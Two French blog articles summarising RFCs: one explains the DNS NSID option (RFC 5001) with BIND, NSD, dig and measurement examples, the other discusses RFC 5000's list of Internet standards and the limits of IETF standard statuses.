Auteur(s) du RFC : R. Austein (ISC)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 1 septembre 2007
Dernière mise à jour le 16 avril 2018
Cette nouvelle option du DNS permet
d'identifier le serveur de noms physique auquel on parle, dans le cas
où plusieurs machines servent sous la même adresse IP. Elle a vocation à remplacer l'ancien
hostname.bind
.
En application du cahier des charges du RFC 4892, ce très court RFC normalise une nouvelle utilisation d'EDNS pour transporter une chaîne de bits qui identifie une instance particulière d'un serveur de noms.
Aujourd'hui, en effet, comme l'explique le RFC 4892, il est fréquent qu'un même serveur de noms (par
exemple F.root-servers.net
, serveur de la
racine) soit mis en œuvre par plusieurs
machines physiques (des dizaines dans le cas de
F.root-servers.net
). En cas de défaillance d'une
seule de ces machines, il est préférable de pouvoir détecter quelle
machine était en cause (voir par exemple la panne
de C-root). Cela se faisait autrefois avec le nom spécial
hostname.bind
(un id.server
a été proposé pour être moins lié à
BIND). Cette méthode ayant plusieurs
inconvénients (là encore, voir le RFC 4892), une nouvelle méthode était nécessaire.
NSID est simplement une option EDNS. Lorsqu'elle est présente dans la requête, le serveur mettra son identité dans la réponse.
En quoi consistera cette identité ? Ce fut le grand et vif débat au
sein du groupe de travail dnsext de
l'IETF. Certains operateurs de serveurs de noms
ne souhaitaient pas en révéler trop, certains souhaitaient mettre de
l'Unicode dans la réponse, etc. Le compromis a
finalement été de décider que la chaîne de bits mise dans la réponse n'a aucune
signification standard. Elle dépend entièrement de l'opérateur. Il
pourra mettre un nom de machine (comme on le fait souvent aujourd'hui
avec hostname.bind
), un identificateur opaque, ou
même une valeur différente à chaque fois (la section 3.1 détaille ces possibilités).
Voici une configuration de cette option sur un BIND 9.7 :
options { ... server-id "My super X-server"; };
et son résultat, lorsque le serveur est interrogé par dig :
% dig +nsid @ns1.example.org SOA example.org ... ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ; NSID: 4d 79 20 73 75 70 65 72 20 58 2d 73 65 72 76 65 72 \ (M) (y) ( ) (s) (u) (p) (e) (r) ( ) (X) (-) (s) (e) (r) (v) (e) (r) ;; QUESTION SECTION: ...
Comme le contenu du NSID peut être absolument quelconque, dig affiche les valeurs des différents octets (et, pour être sympa, le caractère correspondant à ce code ASCII). Si on met une valeur en UTF-8 :
server-id "Café-crème";
dig, n'affichera que les caractères ASCII :
;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; NSID: 43 61 66 c3 a9 2d 63 72 c3 a8 6d 65 \ (C) (a) (f) (.) (.) (-) (c) (r) (.) (.) (m) (e)
Avec nsd (depuis la
version 3.2.5), la configuration est en
hexadécimal (NSD 4 permet de mettre des chaînes
ASCII). J'utilise ce petit programme en Python pour faire la
traduction. Mais on peut aussi, toujours en Python, faire simplement
python -c 'import sys;print
sys.stdin.read().encode("hex")'
(merci à @alexpigne) ou bien en classique
shell Unix, utiliser hexdump avec hexdump -v -e
'/1 "%02X"'
(merci à @guguscat). Si vous le faites
en une ligne de shell, n'oubliez pas le -n
en
argument à echo. En tout cas, voici un exemple :
% echo -n "ns1.example.net" | hexdump -v -e '/1 "%02X"' 6E73312E6578616D706C652E6E6574 # nsd.conf nsid: 6E73312E6578616D706C652E6E6574
Si vous cherchez un exemple réel, les serveurs de l'AFNIC ont NSID :
% dig +nsid @c.nic.fr. SOA fr ... ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; NSID: 64 6e 73 2e 74 68 32 2e 6e 69 63 2e 66 72 (d) (n) (s) (.) (t) (h) (2) (.) (n) (i) (c) (.) (f) (r)
Ici, c'était une machine installée au Telehouse 2 (th2
) à
Paris. Mais c'est évidemment plus drôle avec
une « machine » anycast, essayez depuis
plusieurs endroits du réseau avec d.nic.fr
. Une telle étude a
été faite et
publiée. Autre exemple d'utilisation importante de NSID, sur le
serveur L-root, décrit dans le RFC 7108.
Si vous voulez avoir une idée de ce qu'implique une mise en œuvre de ce RFC, vous pouvez regarder le « commit » 4cd33c... de GRONG. Voici son utilisation :
% grong-server -servername="ns1.local.bortzmeyer.org" ... % dig +nsid @::1 nimportequoi ... ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; NSID: 6e 73 31 2e 6c 6f 63 61 6c 2e 62 6f 72 74 7a 6d 65 79 65 72 2e 6f 72 67 \ (n) (s) (1) (.) (l) (o) (c) (a) (l) (.) (b) (o) (r) (t) (z) (m) (e) (y) (e) (r) (.) (o) (r) (g) ...
Le logiciel check-soa a une
option -nsid
qui peut servir simplement à voir
les NSID des serveurs d'une zone :
% check-soa -nsid tf d.ext.nic.fr. 192.5.4.2: OK: 2222247941 2001:500:2e::2: OK: 2222247941 d.nic.fr. 194.0.9.1: OK: 2222247941 (NSID dns.ix1.nic.fr) 2001:678:c::1: OK: 2222247941 (NSID dns.ix1.nic.fr) e.ext.nic.fr. 193.176.144.22: OK: 2222247941 (NSID ns-ext1a.sidn.nl) 2a00:d78:0:102:193:176:144:22: OK: 2222247941 (NSID ns-ext1a.sidn.nl) f.ext.nic.fr. 194.146.106.46: OK: 2222247941 (NSID s2.par) 2001:67c:1010:11::53: OK: 2222247941 (NSID s2.sth) g.ext.nic.fr. 194.0.36.1: OK: 2222247941 (NSID 1.lys.pch) 2001:678:4c::1: OK: 2222247941 (NSID 1.lys.pch)
Si vous voulez voir les requêtes NSID en Go, voici le commit.
Le logiciel Blaeu de création et d'analyse de mesures des sondes RIPE Atlas peut également demander et afficher les NSID :
% blaeu-resolve --nsid --nameserver d.nic.fr yt Nameserver d.nic.fr [NSID: b'dns.lon.nic.fr'] : 1 occurrences [NSID: b'dns.lyn.nic.fr'] : 1 occurrences [NSID: b'dns.bru.nic.fr'] : 1 occurrences [NSID: b'dns.fra.nic.fr'] : 1 occurrences [NSID: b'dns.ix1.nic.fr'] : 1 occurrences Test #12181106 done at 2018-04-16T13:48:38Z
L'analyse avec dnspython est à cet endroit.
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : RFC Editor
Pour information
Première rédaction de cet article le 16 mai 2008
Ce RFC, héritage d'une époque où le Web
n'existait pas, était simplement un récapitulatif des normes actuelles
de l'Internet, récapitulatif qui se trouve désormais en ligne en
http://www.rfc-editor.org/rfcxx00.html
. Mais c'est l'occasion de revenir sur les normes
Internet et leur signification.
Autrefois, il n'était pas facile d'accéder à l'information en ligne, ou bien elle n'était tout simplement pas accessible et l'état de bases de données comme la base du registre IANA ou bien la liste des RFC étaient publiées sous forme de RFC. Pour la base des numéros et noms de protocoles, ce furent les RFC 317, puis le RFC 604, puis plusieurs autres jusqu'au dernier, le RFC 1700 en 1994. Après, cette information n'a plus été distribuée qu'en ligne (le RFC 3232 explique pourquoi). Mais la liste des protocoles normalisés continue à être publiée, en plus de la version en ligne, sous forme de RFC, comme notre RFC 5000, qui remplace le RFC 3700. C'est finalement le RFC 7100 qui a annoncé officiellement la fin de la publication de cette liste sous forme de RFC. Désormais, seule la version en ligne fait foi.
Que contient ce RFC 5000 ? Une liste de RFC, classés selon leur statut. Sur le chemin des normes, un RFC pouvait à l'époque avoir trois statuts, proposition de norme, projet de norme et norme complète (le nombre a été réduit à deux par le RFC 6410). Mais ces trois statuts, décrits dans le RFC 2026, sont peu significatifs. En effet, l'IETF étant fondée sur le volontariat, le passage d'un protocole d'un statut à un autre nécessite une action volontaire, pour un gain douteux (peu de gens font attention au niveau de normalisation). On voit donc des protocoles très utilisés rester au statut de proposition et des protocoles abandonnés depuis longtemps garder leur statut de norme complète. L'IETF n'a pas de ramasse-miettes pour les reclasser.
Parmi les normes complètes, on trouve évidemment IPv4 (RFC 791) et le DNS (RFC 1034 et RFC 1035) mais aussi les désormais quasiment abandonnés RARP (RFC 903) ou bien complètement abandonnés comme le serveur de citations (RFC 865) ou comme IP sur ARCnet (RFC 1201). En revanche, HTTP n'y figure pas (le RFC 2616 n'est que « projet de norme ») et SMTP y est représenté par une version dépassée, le RFC 821 (la version actuelle est dans le RFC 2821 mais qui n'est pas considéré comme « norme complète »). Tout ceci décrédibilise sérieusement le classement.
Le RFC contient également la liste des RFC de « bonnes pratiques » comme le RFC 2870 (qui était BCP 40 à l'époque, depuis remplacé par le RFC 7720) sur le fonctionnement des serveurs de noms de la racine ou comme le RFC 2277 (BCP 18) sur la politique de l'IETF concernant les jeux de caractères et les langues.
Notre RFC 5000 contient aussi des RFC expérimentaux, qui ne sont pas sur le chemin des normes. Il est exceptionnel que, une fois l'expérience terminée, elle soit documentée et que le RFC soit reclassifié en « historique » (une des exceptions est le RFC 3197 qui a documenté l'échec du RFC 1611). On y trouve par conséquent une très longue liste d'expériences assez amusantes comme le défunt RFC 1383 qui tentait de remplacer BGP par le DNS...
RFC des différentes séries : 0 1000 2000 3000 4000 5000 6000 7000 8000 9000